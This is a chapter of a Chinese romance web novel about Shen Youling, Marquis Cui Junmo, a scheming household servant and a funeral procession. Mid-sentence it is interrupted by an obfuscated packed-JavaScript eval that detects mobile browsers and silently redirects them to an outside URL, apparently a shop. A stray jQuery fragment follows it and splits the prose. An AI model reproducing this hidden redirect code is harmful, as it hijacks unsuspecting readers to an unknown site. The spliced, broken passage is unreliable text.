13. 第 13 章

作品:《谋嫁(重生)

    在崔府安置好一切之后,沈幼菱便返回了姜府,继续陪着外公。


    晚些时候,崔君墨下了朝,去了一趟垣清苑换了身常服,便去了姜府。


    期间,从浦安口中得知了,大夫人往垣清苑塞人的事情。


    崔君墨忍不住冷笑,他这位大嫂,又开始动她不该动的心思了。


    对此,他只是淡然的开口,说了句:“我知道了。”


    他到达姜府时,沈幼菱正在吃午饭。


    最近忙着操持外公的葬礼,她都没有好好吃饭,瘦了许多。


    巧娘瞧着心疼,今日便擅自做主亲自下厨,给她张罗了一大桌子饭菜。


    “小姐,你多吃一些。”


    巧娘拿起竹筷,不停往沈幼菱碗里夹菜:“你看看你,这几日都瘦得脱了形了,姜太傅在天之灵,也定然不愿看见你这般糟蹋自己的身子。”


    沈幼菱握着竹筷,看着满满的一桌饭菜,无奈的开口:“太多了,我吃不完的。”


    连日守丧,心绪郁结,她食不知味,腹中寡淡,半点食欲也无。


    她推脱着,说守丧期间,不宜吃得太过丰盛。


    若是被崔府的人知晓,难免会诟病她不懂规矩,不守孝道,徒增口舌是非。


    “吃不完也要吃。”


    巧娘态度坚决,将一碗鸡汤推到她面前:“就算是为了让姜太傅安心,你也要多吃一些。明日便要启程回岑西了,你也不想在途中昏倒,麻烦旁人吧。”


    沈幼菱看着满桌的饭菜,还是有些为难:“可是......”


    “没有什么可是”,巧娘上前半步,继续说道:“这是在姜府,又不是在崔府,我们关起门来,崔家人又怎会知道你做了什么。”


    沈幼菱无奈,只能执起竹筷,将菜送入口中,慢慢的吞咽。


    崔君墨就是在这时,走了过来。


    崔君墨立在门槛之外,墨色常服衬得他面容越发的冷峭,五官轮廓深邃分明。


    他的墨发束起,阳光落在他肩头,冲淡了他周身的凛冽之气,添了些沉静安然。


    他静静立在原地,目光落在桌前纤细单薄的女子身上,静静地看着她安静进食的模样。


    此刻,她眉眼低垂,神色寡淡,浑身萦绕着淡淡的哀伤。


    巧娘最先察觉来人,抬眼看见崔君墨,连忙躬身行礼:“见过侯爷。”


    听见巧娘的声音,沈幼菱方才抬眸,抬眼便撞入一双深邃沉静的眼眸里。


    她放下手中竹筷,当即敛了心神,唇角扬起一抹温和的笑意,轻声开口道:“侯爷回来了,吃过饭了吗?若是不嫌弃的话,不妨坐下来一同用些。”


    她的声音轻柔温婉,说出来的话,仿若是寻常夫妻间,最普通不过的问话。


    崔君墨眸光微顿,淡淡颔首应声:“好。”


    说罢,他抬步走入膳厅,在她旁边的空位上落座。


    巧娘见状,连忙手脚麻利地为崔君墨布置碗筷。


    待一切布置妥当之后,崔君墨目光淡淡扫过她:“无事了,你先退下吧。”


    “是,侯爷。”巧娘应声离开。


    膳厅内又安静了下来,一时间只剩下两人进食的声音。


    崔君墨全程安静的进食,不疾不徐,举手投足皆是勋贵之家的矜贵从容。


    沈幼菱本就食不知味,此刻身边多了一人,更是拘谨,慢慢吃完了碗中的饭菜,便不再勉强自己。


    不多时,二人先后放下了碗筷。


    侍女很快便收拾好碗筷,沏上了清茶。


    崔君墨端起茶杯,抿了一口后,抬眸看向身侧眉眼略显倦怠的女子,体恤的开口道:“你今日劳累了一天,晚上便不必回国公府,歇在姜府便是,明日一早直接从姜府出发即可。”


    沈幼菱闻言,轻声道:“多谢侯爷体恤。”


    崔君墨点了点头,又补充道:“我尚有军务需要交代,今日便不能歇在姜府。你一个人能否应付,需不需要派些人来照应?”


    沈幼菱闻言,轻轻摇头,抬眸看向他:“多谢侯爷费心了。姜家家仆众多,我自己可以应付得来,无需额外派人前来。”


    崔君墨凝视她片刻,见她神色笃定,便微微颔首,不再强求。


    随即又问道:“听浦安说,大夫人往垣清苑中塞了个老仆。”


    沈幼菱闻言,抬眸迎上他询问的目光,认真的开口道:“侯爷,您可否信我?这件事,可否交给我自行处置。”


    崔君墨静静望着她的眼睛,沉默须臾,淡淡应声:“好。”


    紧接着,他又补充道:“若是遇到为难之处,便来找我。”


    正好,他也想通过这件事,将垣清苑的水搅浑。


    如今,他也该查查,那个人安排在垣清苑的内鬼是谁了。


    沈幼菱闻言,轻轻颔首:“多谢侯爷。”


    与此同时,垣清苑内。


    李妈妈已经在垣清苑里安置妥当了。


    她穿着一身青灰色布面外衫,坐在偏房的竹椅上,姿态松弛,眉眼间藏着几分精明势利。


    不过半日光景,她便凭着八面玲珑的口舌,老练世故的手段,和垣清苑大半下人攀谈熟识了,将垣清苑里的许多事都打探清楚了。


    此刻,她端着一盏青瓷茶杯,慢悠悠的抿了一口,茶水清甜醇厚,是上等的雨前龙井。


    她垂着眼,心底暗自嗤笑。


    外界人人都说崔七夫人温婉和善、品性纯良,如今她亲身接触才知晓,这七夫人,哪里是纯良,和大夫人说的一样,分明就是软弱可欺、性情怯懦。


    待人温和过度,毫无主母威仪,任由大夫人随意插手自己院落人事,半分反抗之力都无。


    也难怪之前和大公子有婚约时,大夫人看不上她。


    这般温顺怯懦、不懂争持的女子,若无旁人庇护,在内宅之中根本立不稳足,难堪大任。


    糊弄、拿捏她,她简直是手到擒来。


    李妈妈眼底掠过一丝轻蔑算计,心中暗自盘算。


    待她彻底摸清垣清苑的大小事务,笼络好院落里的下人,站稳脚跟之后,便能稳稳拿捏住这位软弱温和的七夫人。


    到时候,整个垣清苑的大小事务,皆由她说了算。


    平日里捞些好处、积攒人脉,日后跟着搬往侯府,掌握侯府内宅,一辈子便能够吃香喝辣的了。


    当然,她心底也清楚,到底还是在侯爷眼皮子底下,她还是要谨慎些的,以免引火烧身。


    不过这内宅终究是女人的天下,侯爷日理万机,插手的地方也有限。


    届时只要做到大夫人交代的事情,大夫人满意,自己手握实权,在侯府也站稳了脚跟,一举两得。


    越想,李妈妈心底越是得意安稳,眼底满是势在必得的算计。


    一夜无波。


    次日,辰时刚至,巧娘便来告知沈幼菱,一切都准备妥当,灵柩丧仪、随行车马、祭祀物品、随行仆役都已经就位。


    巧娘道:“侯爷已经在前厅等候,各家随行大人、送行宾客也已到齐,随时可以启程出发。”


    沈幼菱闻言,赶忙整理了一下仪容,前往前厅。


    来到前厅,一众宾客都已经到来,立在两侧。


    崔君墨立在人群最前方,一身玄色锦袍,身姿挺拔,气场沉稳凛冽。


    见到她来,崔君墨看向众人,沉声道:“可以启程了。”


    一声令下,众人便开始往门外移动。


    府外街道之上,车马仪仗早已整齐排列。


    曼冬早早等候在马车旁,见到沈幼菱出来,曼冬连忙上前,伸手轻轻搀扶住她。


    待沈幼菱抬脚踏上马车,曼冬便紧随其后上了马车。


    这辆马车是是特意为沈幼菱准备的,与后方一众朴素简约的随行车马相比,截然不同。


    车厢壁上挂着轻薄纱帘,轻透通风,最适宜夏日出行。


    车体宽敞大气,内饰柔软舒适,铺着厚实绵软的素色软垫,空间开阔,即便两个人在里面平躺歇息也绰绰有余。


    沈幼菱进入车厢,短暂静坐片刻,心底微动。


    她抬手轻轻掀开侧边的纱帘,朝外望去。


    车前一众护卫整齐列队,正在有条不紊地规整马匹、检查车马装备,各司其职,严谨有序。


    她目光扫过人群,并未看见那道挺拔的身影。


    她略一迟疑,对着身侧就近的护卫轻声询问:“侯爷身在何处?”


    护卫应声离开。


    须臾,一阵清脆的马蹄声传来。


    晨光之下,崔君墨一身玄色锦袍,端坐于乌黑骏马之上,身姿挺拔凛冽,墨发随风微扬,眉眼深邃清冷。


    他策马缓步而来,停在马车窗边,垂眸看向车厢内的女子,嗓音低沉磁性:“寻我何事?”


    他的眼眸深邃似潭,仿佛能够直直望进人心最深处。


    四目相对的瞬间,沈幼菱心底微颤,一时间竟不知道该如何开口。


    见他还在等她的答案,她连忙敛神,抬眼看向他身下的骏马,轻声问道:“侯爷此番,是打算一路骑马随行?”


    崔君墨淡淡颔首:“嗯。”


    沈幼菱轻轻“哦”了一声,垂眸迟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495677|202488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疑片刻,纤细的指尖无意识地攥紧了身侧柔软的软垫。


    随后,又鼓足勇气,再次抬眸看向窗外的人,说道:“你刚刚苏醒,身体还没有完全恢复。此番路途遥远,长途骑马太过辛苦,伤身耗神,侯爷还是与我一同坐车吧?”


    崔君墨还是第一次被一个小姑娘,如此的关怀管束,心里却并不反感,鬼使神差的应了声。


    最后,崔君墨和她坐同一辆马车,而曼冬则坐到了后面的马车上。


    一切准备妥当后,崔君墨抬手轻叩车厢壁,低声吩咐:“启程。”


    随着崔君墨的一声令下,马车缓缓前行。


    送行的队伍一路通畅的行进,直至马车行至中央大街的时候,却突然停了下来。


    崔君墨眼眸微沉,冷声的开口询问:“何事停滞不前?”


    沈幼菱闻声,也抬起头来,顺着车窗朝外望去。


    此刻,在外骑马随行的浦安迅速勒住马缰,靠近车窗,禀报道:“回侯爷,前方街口有一乞丐,跪地拦路,手持状纸向您喊冤,堵住了前行的道路,仪仗无法通行。”


    青天白日,繁华闹市,竟有人当众拦车喊冤?


    崔君墨神色平静的下令:“去处理一下,将人带去大司马府,仔细盘问。”


    “是。”浦安领命上前。


    马车停滞街头,静静等候前方事端处置完毕。


    沈幼菱闲来无事,掀开纱帘,目光散漫地望向街边林立的商铺。


    她的目光漫无目的游走,最终落在街对面的首饰铺门口。


    铺前石阶之上,立着一对年轻男女,身姿般配,容貌出众。


    男子温润俊秀,一身青衫儒雅,眉眼柔和,正是崔家二公子崔明勒。


    身侧女子一身浅粉衣裙,眉眼温婉,是他的未婚妻卢莺。


    沈幼菱知道她,她本是崔明勒的表妹,二人自幼相识,情谊深厚,是京中人人艳羡的青梅竹马、金玉良缘。


    此刻阳光落在二人身上,崔明勒微微侧身,低头看向身侧的女子,唇角噙着温柔的笑意,低声说着些什么。


    卢莺垂着眉眼,脸颊带着浅浅笑意,温柔羞怯,静静聆听。


    二人姿态亲昵,氛围缱绻静好,看起来郎情妾意、无比恩爱。


    车厢之内,崔君墨顺着她的目光朝外望去,恰好看见这一幕温情缱绻的画面。


    他眸光淡淡,嗓音低沉的开口道:“青梅竹马,朝夕相伴,自是情比金坚,这般情谊,的确令人艳羡。”


    说完,他收回视线,落在身侧沉默的沈幼菱身上,平静的开口道:“等崔明轩归来,你若有心与他重修旧好,我可帮你二人,从中调和。”


    此话一出,车厢内骤然沉静了下来。


    沈幼菱闻言,想起了她和崔明轩的种种,又想到了前世崔明勒与卢莺所经历的一切,忍不住冷笑了一声,“侯爷此言差矣,青梅竹马,也经不起人心易变。”


    旁人只看见眼前的温情缱绻、郎情妾意,只有她清楚的所谓的青梅竹马,日后会落得何等鸡飞狗跳、满目疮痍的结局。


    崔明勒虽然没有像崔明轩那样,失踪数年带回一双儿女,却也在大婚之日,闹得南城风雨。


    虽然最后证明那花魁的孩子不是崔明勒的,但是大婚之日,被一个花魁在京城最繁华的酒楼这么一闹,崔明勒的名声也臭了,沦为京城众人茶余饭后的笑柄。


    即便婚礼照旧完成,他与卢莺顺利大婚,结成连理,可婚后的日子,依旧一地鸡毛、不得安稳。


    崔明勒依旧不改喜欢“救风尘”的毛病。


    婚后不过一年,一个被他救助过的农女,直接登门侯府,哭诉无依无靠,求他收留。


    彼时二夫人为了保全崔明勒仅剩的名声,堵住悠悠众口,便百般劝说卢莺,让她顾全大局、隐忍退让,主动接纳农女入府为妾。


    卢莺本以为嫁给意中人,可以幸福安稳,可嫁入崔家之后,却屡屡受辱、步步退让。


    本该琴瑟和鸣的青梅竹马,最终只剩下无休止的争吵。


    上一世,她每日待在院子里,为崔明轩守孝,又因为婆母关系不好,她们极少说话,没什么交情。


    况且,即使有心,她一个孤女也帮不了她什么。


    后来,她被崔明轩困住之后,便不知道他们如何了。


    她想着,无论如何,卢莺至少比她的境遇要好,至少她还有娘家撑腰。


    世间情爱,最是虚妄易碎。


    沈幼菱收回落在街对面的目光,转头正视身侧的崔君墨,认真的开口道:“我既决定嫁你,就绝不后悔。”